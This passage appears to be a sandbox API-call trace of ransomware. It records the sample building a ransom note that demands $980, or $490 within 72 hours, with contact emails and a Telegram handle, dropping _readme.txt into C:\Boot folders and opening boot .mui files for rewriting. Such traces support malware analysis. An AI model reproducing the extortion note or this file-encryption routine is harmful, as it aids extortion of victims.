look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.006] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0267.006] CreateFileW (lpFileName="C:\\Boot\\en-US\\_readme.txt" (normalized: "c:\\boot\\en-us\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0267.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311b6f8 | out: hHeap=0x640000) returned 1 [0267.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.007] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.007] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.007] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.007] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.007] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.007] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081918 [0267.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.007] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\bootmgr.exe.mui") returned=".mui" [0267.007] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.007] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081918 | out: hHeap=0x640000) returned 1 [0267.008] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0267.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081918 [0267.008] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.008] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\memtest.exe.mui") returned=".mui" [0267.008] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.008] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081918 | out: hHeap=0x640000) returned 1 [0267.008] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0267.008] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.008] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.008] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077390 | out: hHeap=0x640000) returned 1 [0267.008] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0267.008] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.008] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.008] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.008] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.009] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.009] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.009] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.009] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.009] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.009] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.009] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.009] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.009] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.009] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.009] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.009] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0267.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.010] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.010] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.011] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0267.011] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.011] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.011] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.011] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0267.011] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0267.011] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077408 | out: hHeap=0x640000) returned 1 [0267.011] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.011] PathFindFileNameW (pszPath="") returned="" [0267.011] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0267.012] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0267.012] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0267.012] FreeLibrary (hLibModule=0x75d10000) returned 1 [0267.012] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077458 | out: hHeap=0x640000) returned 1 [0267.012] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.012] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.012] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0267.012] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0267.012] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0267.013] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0267.013] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.013] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0267.013] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311b6f8 | out: hHeap=0x640000) returned 1 [0267.013] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.013] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.013] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077048 | out: hHeap=0x640000) returned 1 [0267.014] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.014] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0267.014] PathFindExtensionW (pszPath="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned=".mui" [0267.014] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0267.014] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0267.014] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0267.014] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0267.014] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0267.014] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077390 | out: hHeap=0x640000) returned 1 [0267.014] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.015] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 